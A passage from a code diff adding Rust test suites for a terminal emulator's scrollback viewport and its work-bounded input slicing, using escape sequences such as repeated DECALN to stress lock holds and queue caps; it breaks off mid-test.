||||||
|
assert_eq!(in_flight.viewport.columns, 40);
|
||||||
|
|
||||||
|
let applied = shared.resize(grid(20, 10));
|
||||||
|
assert_eq!(applied.generation, 1);
|
||||||
|
assert_eq!(applied.columns, 20);
|
||||||
|
|
||||||
|
// The held frame still describes the pre-resize grid, so a consumer can
|
||||||
|
// compare the two and discard it rather than paint 40-column rows onto a
|
||||||
|
// 20-column grid.
|
||||||
|
assert_eq!(
|
||||||
|
in_flight.viewport.columns, 40,
|
||||||
|
"a frame captured before the resize describes the post-resize grid; \
|
||||||
|
a stale frame arriving late would be indistinguishable from a fresh one"
|
||||||
|
);
|
||||||
|
assert_eq!(in_flight.viewport.generation, 0);
|
||||||
|
assert_ne!(in_flight.viewport, applied);
|
||||||
|
}
|
||||||
399
desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs
Normal file
399
desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs
Normal file
@@ -0,0 +1,399 @@
|
|||||||
|
//! Reaching the scrollback the engine has always been keeping.
|
||||||
|
//!
|
||||||
|
//! The grid retains 10k lines in production and, before this, nothing could
|
||||||
|
//! move the viewport off the live edge. Three things have to hold at once for
|
||||||
|
//! that to become usable, and each one fails silently on its own:
|
||||||
|
//!
|
||||||
|
//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still
|
||||||
|
//! repaints. Only a human notices. So the direction is asserted here, in
|
||||||
|
//! test names, rather than left to the caller to get right.
|
||||||
|
//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from
|
||||||
|
//! the live edge. Off-by-the-offset shows *some* plausible text.
|
||||||
|
//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last
|
||||||
|
//! saw. Scrolling changes every row without changing the grid, so a scroll
|
||||||
|
//! that consumed the full-damage flag would leave those hashes describing
|
||||||
|
//! a viewport that is no longer shown -- and they would then suppress a row
|
||||||
|
//! that really did change.
|
||||||
|
|
||||||
|
use buzz_terminal::damage::{Encoder, Frame};
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
|
||||||
|
use std::sync::mpsc::Receiver;
|
||||||
|
|
||||||
|
/// The receiver is returned rather than dropped: dropping it disconnects the
|
||||||
|
/// channel and every subsequent listener send silently fails.
|
||||||
|
fn terminal(
|
||||||
|
columns: usize,
|
||||||
|
screen_lines: usize,
|
||||||
|
scrollback: usize,
|
||||||
|
) -> (SharedTerminal, Receiver<Action>) {
|
||||||
|
let size = Size {
|
||||||
|
columns,
|
||||||
|
screen_lines,
|
||||||
|
scrollback,
|
||||||
|
};
|
||||||
|
let (term, actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
(SharedTerminal::new(term), actions)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The text of every row the frame carries, indexed by screen row.
|
||||||
|
///
|
||||||
|
/// Blank rows are kept as empty strings rather than filtered out: this suite
|
||||||
|
/// is about *which row shows which line*, and dropping the blanks would
|
||||||
|
/// renumber every row after one.
|
||||||
|
fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> {
|
||||||
|
frame
|
||||||
|
.rows
|
||||||
|
.iter()
|
||||||
|
.map(|row| {
|
||||||
|
(
|
||||||
|
row.line,
|
||||||
|
row.spans
|
||||||
|
.iter()
|
||||||
|
.map(|span| span.text.as_str())
|
||||||
|
.collect::<String>()
|
||||||
|
.trim_end()
|
||||||
|
.to_string(),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Just the text, in screen order. Only meaningful for a full frame.
|
||||||
|
fn screen(frame: &Frame) -> Vec<String> {
|
||||||
|
rows_by_line(frame)
|
||||||
|
.into_iter()
|
||||||
|
.map(|(_, text)| text)
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Fill history with numbered lines, then take a caught-up renderer.
|
||||||
|
///
|
||||||
|
/// Returns the terminal and an encoder that has already consumed the damage
|
||||||
|
/// from that output, so anything a later assertion sees is caused by the
|
||||||
|
/// thing under test rather than by the fixture.
|
||||||
|
fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver<Action>, Encoder) {
|
||||||
|
let (shared, actions) = terminal(20, 4, 100);
|
||||||
|
let payload = (1..=lines)
|
||||||
|
.map(|n| format!("L{n:02}"))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("\r\n");
|
||||||
|
shared.feed_fully(payload.as_bytes());
|
||||||
|
let mut renderer = Encoder::new();
|
||||||
|
let _ = shared.render(&mut renderer);
|
||||||
|
(shared, actions, renderer)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L07", "L08", "L09", "L10"]
|
||||||
|
);
|
||||||
|
assert_eq!(shared.lock().display_offset(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// **The direction, at the engine boundary.** Positive goes *into* history.
|
||||||
|
///
|
||||||
|
/// This is upstream's convention and the reason the embedder negates the DOM
|
||||||
|
/// delta exactly once. If this assertion and `terminal_scroll`'s negation are
|
||||||
|
/// ever flipped together the pair still passes -- which is why the embedder's
|
||||||
|
/// own direction test asserts against the DOM sign rather than against this
|
||||||
|
/// one.
|
||||||
|
#[test]
|
||||||
|
fn positive_lines_scroll_backwards_into_history() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
|
||||||
|
assert!(shared.scroll(2), "two lines of history exist to move into");
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L05", "L06", "L07", "L08"],
|
||||||
|
"scrolling back two lines must show two older lines"
|
||||||
|
);
|
||||||
|
assert_eq!(shared.lock().display_offset(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn negative_lines_scroll_forwards_towards_the_live_edge() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
assert!(shared.scroll(3));
|
||||||
|
|
||||||
|
assert!(shared.scroll(-1), "one line back towards the edge");
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L05", "L06", "L07", "L08"]
|
||||||
|
);
|
||||||
|
assert_eq!(shared.lock().display_offset(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The momentum guard. A trackpad flick keeps delivering events for about a
|
||||||
|
/// second after the fingers lift; once history runs out every one of them
|
||||||
|
/// must be free.
|
||||||
|
#[test]
|
||||||
|
fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
// Six lines of history: ten written, four on screen.
|
||||||
|
assert!(shared.scroll(6));
|
||||||
|
assert_eq!(shared.lock().display_offset(), 6);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!shared.scroll(1),
|
||||||
|
"there is nothing older, so nothing moved"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!shared.scroll(1_000),
|
||||||
|
"and a whole flick of it still moves nothing"
|
||||||
|
);
|
||||||
|
assert_eq!(shared.lock().display_offset(), 6);
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L01", "L02", "L03", "L04"],
|
||||||
|
"the top of history is the oldest line, not a blank grid"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn scrolling_forwards_at_the_live_edge_reports_no_movement() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
assert!(!shared.scroll(-1));
|
||||||
|
assert!(!shared.scroll(-1_000));
|
||||||
|
assert_eq!(shared.lock().display_offset(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn snapping_to_the_bottom_moves_only_when_scrolled_back() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
assert!(
|
||||||
|
!shared.scroll_to_bottom(),
|
||||||
|
"already live: a keystroke must not cost a repaint"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(shared.scroll(4));
|
||||||
|
assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap");
|
||||||
|
assert_eq!(shared.lock().display_offset(), 0);
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L07", "L08", "L09", "L10"]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Why the snap has to exist at all: output does **not** bring the viewport
|
||||||
|
/// back. The grid pins a scrolled-back viewport and piles new lines above it
|
||||||
|
/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is
|
||||||
|
/// the behaviour you want while reading -- and means the echo of a keystroke
|
||||||
|
/// would otherwise land on a screen the user cannot see.
|
||||||
|
#[test]
|
||||||
|
fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() {
|
||||||
|
let (shared, _actions, mut renderer) = scrolled_terminal(10);
|
||||||
|
assert!(shared.scroll(3));
|
||||||
|
|
||||||
|
shared.feed_fully(b"\r\nL11\r\nL12");
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["L04", "L05", "L06", "L07"],
|
||||||
|
"the reader stays put while new output accumulates below"
|
||||||
|
);
|
||||||
|
|
||||||
|
// And the snap still returns to the *new* live edge, not the old one.
|
||||||
|
assert!(shared.scroll_to_bottom());
|
||||||
|
let after = shared.render(&mut renderer);
|
||||||
|
assert!(after.full, "a viewport move is a repaint");
|
||||||
|
assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// **The silent-corruption case.**
|
||||||
|
///
|
||||||
|
/// The renderer's `Encoder` holds one content hash per screen row. Scrolling
|
||||||
|
/// changes what every row shows without changing a single cell, so those
|
||||||
|
/// hashes are stale the instant the viewport moves. The engine's protection is
|
||||||
|
/// that `scroll_display` marks the grid fully damaged and the embedder
|
||||||
|
/// republishes via `snapshot`, which does not consume damage -- so the
|
||||||
|
/// full-damage flag survives for the renderer's own next `render()`, which is
|
||||||
|
/// what clears its hashes.
|
||||||
|
///
|
||||||
|
/// The discriminating part is the row content. Row 0 after the scroll holds
|
||||||
|
/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived,
|
||||||
|
/// the row would still ship, because the hashes differ. So the test scrolls to
|
||||||
|
/// a position where the *pre-scroll* text reappears at the *same screen row*:
|
||||||
|
/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4
|
||||||
|
/// restores exactly the rows the hashes describe. A renderer whose hashes were
|
||||||
|
/// never cleared suppresses the whole screen there, and the user is left
|
||||||
|
/// looking at history that has scrolled away.
|
||||||
|
#[test]
|
||||||
|
fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() {
|
||||||
|
let (shared, _actions, mut renderer) = scrolled_terminal(10);
|
||||||
|
|
||||||
|
// The embedder's scroll path: move, then republish by snapshot.
|
||||||
|
assert!(shared.scroll(4));
|
||||||
|
let mut scroll_encoder = Encoder::new();
|
||||||
|
let republished = shared.snapshot(&mut scroll_encoder);
|
||||||
|
assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]);
|
||||||
|
|
||||||
|
// The renderer thread's own next capture must still be told to repaint.
|
||||||
|
let after_scroll = shared.render(&mut renderer);
|
||||||
|
assert!(
|
||||||
|
after_scroll.full,
|
||||||
|
"the scroll's snapshot must not have eaten the full-damage flag"
|
||||||
|
);
|
||||||
|
assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]);
|
||||||
|
|
||||||
|
// Now back to where the renderer's *original* hashes were taken. Every row
|
||||||
|
// matches a hash it already holds, so only a cleared cache ships them.
|
||||||
|
assert!(shared.scroll(-4));
|
||||||
|
let mut back_encoder = Encoder::new();
|
||||||
|
let _ = shared.snapshot(&mut back_encoder);
|
||||||
|
let after_return = shared.render(&mut renderer);
|
||||||
|
assert!(after_return.full);
|
||||||
|
assert_eq!(
|
||||||
|
screen(&after_return),
|
||||||
|
vec!["L07", "L08", "L09", "L10"],
|
||||||
|
"returning to a previously-hashed viewport must still repaint it"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A row that genuinely changes while the viewport is scrolled back must
|
||||||
|
/// still reach the renderer. This is the same dedup hazard from the other
|
||||||
|
/// side: content changing under a stale hash rather than a stale hash under
|
||||||
|
/// unchanged content.
|
||||||
|
#[test]
|
||||||
|
fn a_row_that_changes_while_scrolled_back_still_ships() {
|
||||||
|
let (shared, _actions, mut renderer) = scrolled_terminal(10);
|
||||||
|
assert!(shared.scroll(2));
|
||||||
|
let mut scroll_encoder = Encoder::new();
|
||||||
|
let _ = shared.snapshot(&mut scroll_encoder);
|
||||||
|
let _ = shared.render(&mut renderer);
|
||||||
|
|
||||||
|
// Rewrite the top line of the active area, which is screen row 2 while
|
||||||
|
// scrolled back two.
|
||||||
|
shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K");
|
||||||
|
|
||||||
|
let frame = shared.render(&mut renderer);
|
||||||
|
let changed = rows_by_line(&frame)
|
||||||
|
.into_iter()
|
||||||
|
.find(|(_, text)| text == "CHANGED");
|
||||||
|
assert_eq!(
|
||||||
|
changed,
|
||||||
|
Some((2, "CHANGED".to_string())),
|
||||||
|
"the rewritten active row must ship, at its scrolled screen position; got {:?}",
|
||||||
|
rows_by_line(&frame)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The cursor plane travels with the viewport, because the renderer paints it
|
||||||
|
/// at a screen row and the grid stores it at an active-area row.
|
||||||
|
#[test]
|
||||||
|
fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let live = shared.snapshot(&mut encoder);
|
||||||
|
assert_eq!(live.cursor.line, 3, "cursor sits on the last active row");
|
||||||
|
assert!(live.cursor.visible);
|
||||||
|
|
||||||
|
assert!(shared.scroll(2));
|
||||||
|
let mut scrolled_encoder = Encoder::new();
|
||||||
|
let scrolled = shared.snapshot(&mut scrolled_encoder);
|
||||||
|
assert_eq!(
|
||||||
|
scrolled.cursor.line, 3,
|
||||||
|
"row 3 + 2 is off a four-row screen, so it clamps to the last row"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
!scrolled.cursor.visible,
|
||||||
|
"scrolled off the bottom, so it must not be painted on an unrelated line"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The clamp above is not the whole story: a cursor that is merely pushed
|
||||||
|
/// *down* -- still on screen -- must report its new row, not its old one. A
|
||||||
|
/// capture that ignored the offset entirely would pass the clamp test above
|
||||||
|
/// (row 3 is where the cursor already was) and fail this one.
|
||||||
|
///
|
||||||
|
/// Parking the cursor on the top row with `ESC[H` is what leaves it room to
|
||||||
|
/// move: at the live edge it is on row 0, and scrolling back two puts it on
|
||||||
|
/// row 2 of a four-row screen, still visible.
|
||||||
|
#[test]
|
||||||
|
fn a_cursor_still_on_screen_reports_its_scrolled_row() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
shared.feed_fully(b"\x1b[H");
|
||||||
|
|
||||||
|
let mut live_encoder = Encoder::new();
|
||||||
|
let live = shared.snapshot(&mut live_encoder);
|
||||||
|
assert_eq!(live.cursor.line, 0, "parked on the top row");
|
||||||
|
assert!(live.cursor.visible);
|
||||||
|
|
||||||
|
assert!(shared.scroll(2));
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.snapshot(&mut encoder);
|
||||||
|
assert_eq!(
|
||||||
|
frame.cursor.line, 2,
|
||||||
|
"the caret follows the row it is written on down the screen"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
frame.cursor.visible,
|
||||||
|
"still inside the viewport, so still painted"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn the_cursor_becomes_visible_again_on_the_way_back() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
assert!(shared.scroll(3));
|
||||||
|
assert!(shared.scroll_to_bottom());
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.snapshot(&mut encoder);
|
||||||
|
assert_eq!(frame.cursor.line, 3);
|
||||||
|
assert!(frame.cursor.visible);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The alternate screen has no scrollback by construction: `Term::new` builds
|
||||||
|
/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or
|
||||||
|
/// `less` must be a clamped no-op, leaving the application's own scrolling to
|
||||||
|
/// the application. Asserted rather than assumed -- a viewport that drifted
|
||||||
|
/// here would show the primary screen's history behind a full-screen app.
|
||||||
|
#[test]
|
||||||
|
fn the_alternate_screen_has_no_scrollback_to_reach() {
|
||||||
|
let (shared, _actions, _) = scrolled_terminal(10);
|
||||||
|
|
||||||
|
shared.feed_fully(b"\x1b[?1049h");
|
||||||
|
shared.feed_fully(b"ALT");
|
||||||
|
|
||||||
|
assert!(!shared.scroll(1), "no history exists on the alt screen");
|
||||||
|
assert!(!shared.scroll(1_000));
|
||||||
|
assert_eq!(shared.lock().display_offset(), 0);
|
||||||
|
|
||||||
|
// And the primary screen's position is undisturbed on the way back.
|
||||||
|
shared.feed_fully(b"\x1b[?1049l");
|
||||||
|
assert!(shared.scroll(2));
|
||||||
|
assert_eq!(shared.lock().display_offset(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A terminal configured with no history cannot scroll at all. The guard is
|
||||||
|
/// upstream's clamp against `history_size()`, and this pins it: without it the
|
||||||
|
/// offset would advance and capture would index above the grid.
|
||||||
|
#[test]
|
||||||
|
fn a_terminal_without_scrollback_never_moves() {
|
||||||
|
let (shared, _actions) = terminal(20, 4, 0);
|
||||||
|
shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf");
|
||||||
|
|
||||||
|
assert!(!shared.scroll(1));
|
||||||
|
assert!(!shared.scroll(1_000));
|
||||||
|
assert_eq!(shared.lock().display_offset(), 0);
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
screen(&shared.snapshot(&mut encoder)),
|
||||||
|
vec!["c", "d", "e", "f"]
|
||||||
|
);
|
||||||
|
}
|
||||||
882
desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs
Normal file
882
desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs
Normal file
@@ -0,0 +1,882 @@
|
|||||||
|
//! The work-denominated slicing seam: what bounds one lock hold, what bounds
|
||||||
|
//! the queue behind it, and what proves the work was actually done.
|
||||||
|
//!
|
||||||
|
//! **This is half a suite.** The adversarial resize and overflow cases live
|
||||||
|
//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two
|
||||||
|
//! files are one set of contracts. A mutation check scoped with
|
||||||
|
//! `--test slicing` covers 20 of 76 package tests and can report a confident
|
||||||
|
//! pass while the killing fixture sits in the sibling file. Dropping the
|
||||||
|
//! scrollback debt does exactly that, then dies under the package.
|
||||||
|
//!
|
||||||
|
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
|
||||||
|
//!
|
||||||
|
//! Every assertion here is an **exact** expected value, never a `> 0`. A fix
|
||||||
|
//! that bounds the lock by *dropping* work instead of deferring it reports a
|
||||||
|
//! beautiful latency and a perfect screen-content receipt -- DECALN fills the
|
||||||
|
//! grid with `E`, and the second DECALN overwrites the first, so grid content
|
||||||
|
//! saturates after one of ten thousand. `completed_units == expected` is the
|
||||||
|
//! only predicate that separates "deferred the work" from "skipped it", and
|
||||||
|
//! `> 0` is satisfied by a seam that executed exactly one unit.
|
||||||
|
|
||||||
|
use buzz_terminal::fences::{
|
||||||
|
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP,
|
||||||
|
WORK_BUDGET,
|
||||||
|
};
|
||||||
|
use buzz_terminal::{Size, Terminal};
|
||||||
|
|
||||||
|
const COLUMNS: usize = 200;
|
||||||
|
const LINES: usize = 50;
|
||||||
|
const CELLS: u64 = (COLUMNS * LINES) as u64;
|
||||||
|
|
||||||
|
fn terminal() -> Terminal {
|
||||||
|
Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns: COLUMNS,
|
||||||
|
screen_lines: LINES,
|
||||||
|
scrollback: 100,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
)
|
||||||
|
.0
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail.
|
||||||
|
///
|
||||||
|
/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a
|
||||||
|
/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a
|
||||||
|
/// property of the byte depth, not of the grid, so a small grid exercises the
|
||||||
|
/// same thresholds in seconds instead of minutes -- but it does change what
|
||||||
|
/// is being tested, so it is named rather than reused silently: these arms
|
||||||
|
/// test the *depth* predicates, and the arms above test the work bound.
|
||||||
|
fn tiny() -> Terminal {
|
||||||
|
Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns: 10,
|
||||||
|
screen_lines: 2,
|
||||||
|
scrollback: 10,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
)
|
||||||
|
.0
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Feed until the tail reaches its cap, or give up.
|
||||||
|
///
|
||||||
|
/// Bounded on purpose. A test that loops until a predicate goes true hangs
|
||||||
|
/// forever when the predicate is what broke, which turns a killed mutant into
|
||||||
|
/// a wedged CI job -- and a suite that hangs instead of failing is a suite
|
||||||
|
/// nobody can bisect.
|
||||||
|
fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool {
|
||||||
|
for _ in 0..10_000 {
|
||||||
|
if term.tail_full() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
term.feed(payload);
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pump to completion, counting acquisitions. A drain that needed no second
|
||||||
|
/// call returns 1.
|
||||||
|
fn pump(term: &mut Terminal, bytes: &[u8]) -> usize {
|
||||||
|
let mut calls = 1;
|
||||||
|
let mut more = term.feed(bytes);
|
||||||
|
while more {
|
||||||
|
more = term.drain();
|
||||||
|
calls += 1;
|
||||||
|
}
|
||||||
|
calls
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One `feed` may not spend an unbounded amount of work, however much the
|
||||||
|
/// stream asks for.
|
||||||
|
///
|
||||||
|
/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the
|
||||||
|
/// unbounded hold this whole seam exists to prevent. Deliberately asserts on
|
||||||
|
/// *work* rather than wall time -- a time assertion is a flake on a loaded
|
||||||
|
/// machine, and the work bound is the thing the code actually promises.
|
||||||
|
#[test]
|
||||||
|
fn one_feed_spends_at_most_one_budget_plus_a_slice() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let decalns = 10_000;
|
||||||
|
term.feed(&b"\x1b#8".repeat(decalns));
|
||||||
|
|
||||||
|
let spent = term.stats().completed_work;
|
||||||
|
// Two terms, both irreducible: the budget is checked between slices, and
|
||||||
|
// a slice is sized so it holds at most one budget of the densest payload;
|
||||||
|
// and the callback that crosses the line cannot be preempted.
|
||||||
|
let ceiling = max_drain_work(COLUMNS, LINES, 100);
|
||||||
|
assert!(
|
||||||
|
spent <= ceiling,
|
||||||
|
"one feed spent {spent} work, over budget+overshoot ({ceiling})",
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
term.pending_bytes() > 0,
|
||||||
|
"10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \
|
||||||
|
is pending the seam ran the whole payload in one hold",
|
||||||
|
decalns as u64 * CELLS,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Every deferred byte is eventually executed -- exactly once, and all of it.
|
||||||
|
///
|
||||||
|
/// Kills: bounding the hold by dropping the remainder instead of keeping it
|
||||||
|
/// (`self.pending.clear()` in place of the tail), which passes any latency
|
||||||
|
/// gate and any grid-content check. The unit count is the only witness.
|
||||||
|
#[test]
|
||||||
|
fn a_deferred_tail_executes_every_unit_exactly_once() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let decalns = 10_000;
|
||||||
|
|
||||||
|
let calls = pump(&mut term, &b"\x1b#8".repeat(decalns));
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
calls > 1,
|
||||||
|
"a payload this dense must have needed a second call"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
decalns as u64,
|
||||||
|
"every DECALN must execute exactly once: no drops, no double-parse",
|
||||||
|
);
|
||||||
|
assert_eq!(term.stats().completed_work, decalns as u64 * CELLS);
|
||||||
|
assert_eq!(term.pending_bytes(), 0, "nothing may be left behind");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The tail drains without another `feed` -- a reader with nothing new to
|
||||||
|
/// read must still be able to retire what it already accepted.
|
||||||
|
///
|
||||||
|
/// Kills: draining only from `feed`, which strands the tail whenever the
|
||||||
|
/// child goes quiet (`cat bigfile` then no more output: the last screenful
|
||||||
|
/// never appears).
|
||||||
|
#[test]
|
||||||
|
fn a_tail_drains_without_a_second_feed() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let decalns = 2_000;
|
||||||
|
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
|
||||||
|
|
||||||
|
// Never feed again. Only drain.
|
||||||
|
while term.drain() {}
|
||||||
|
|
||||||
|
assert_eq!(term.stats().completed_units, decalns as u64);
|
||||||
|
assert_eq!(term.pending_bytes(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A slice is cut only at a byte boundary the parser has already passed, so
|
||||||
|
/// an escape sequence split across two slices still executes once.
|
||||||
|
///
|
||||||
|
/// Kills: cutting mid-sequence and restarting the parser, or double-feeding
|
||||||
|
/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of
|
||||||
|
/// neither, so at this length hundreds of sequences straddle a cut.
|
||||||
|
#[test]
|
||||||
|
fn a_sequence_split_across_slices_executes_exactly_once() {
|
||||||
|
let mut term = terminal();
|
||||||
|
let decalns = 3_000;
|
||||||
|
pump(&mut term, &b"\x1b#8".repeat(decalns));
|
||||||
|
assert_eq!(
|
||||||
|
term.stats().completed_units,
|
||||||
|
decalns as u64,
|
||||||
|
"a straddling sequence was dropped or executed twice",
|
||||||
|
);
|
||||||
|
|
||||||
|
// Same payload, delivered one byte per feed: every sequence straddles.
|
||||||
|
let mut byte_at_a_time = terminal();
|
||||||
|
for chunk in b"\x1b#8".repeat(decalns).chunks(1) {
|
||||||
|
byte_at_a_time.feed(chunk);
|
||||||
|
}
|
||||||
|
while byte_at_a_time.drain() {}
|
||||||
|
assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The tail is a bound on the queue, and the breach counter is loud.
|
||||||
|
///
|
||||||
|
/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying
|
||||||
|
/// so is indistinguishable from a reader that is obeying backpressure, which
|
||||||
|
/// is exactly the confusion that hides an unbounded queue.
|
||||||
|
#[test]
|
||||||
|
fn an_overrun_tail_is_capped_and_counted() {
|
||||||
|
let mut term = tiny();
|
||||||
|
assert!(!term.tail_full(), "a fresh terminal is not full");
|
||||||
|
assert!(term.tail_drained(), "a fresh terminal is drained");
|
||||||
|
assert_eq!(term.stats().tail_breaches, 0);
|
||||||
|
|
||||||
|
// A reader that ignores `tail_full` and keeps shovelling.
|
||||||
|
assert!(
|
||||||
|
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
|
||||||
|
"the tail never reached its cap: the queue is not bounded",
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(term.pending_bytes() >= TAIL_CAP);
|
||||||
|
assert!(
|
||||||
|
term.stats().tail_breaches > 0,
|
||||||
|
"reaching the cap must be counted, not absorbed silently",
|
||||||
|
);
|
||||||
|
assert!(!term.tail_drained(), "a full tail is not a drained tail");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resume is hysteretic: `tail_drained` does not go true the instant the tail
|
||||||
|
/// falls one byte below the cap.
|
||||||
|
///
|
||||||
|
/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between
|
||||||
|
/// paused and reading once per slice at exactly the moment it is most loaded.
|
||||||
|
#[test]
|
||||||
|
fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() {
|
||||||
|
let mut term = tiny();
|
||||||
|
assert!(
|
||||||
|
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
|
||||||
|
"expected a full tail"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Drain until the reader is allowed to resume, watching for a window in
|
||||||
|
// which it is neither full nor drained -- that gap *is* the hysteresis.
|
||||||
|
let mut saw_gap = false;
|
||||||
|
for _ in 0..1_000_000 {
|
||||||
|
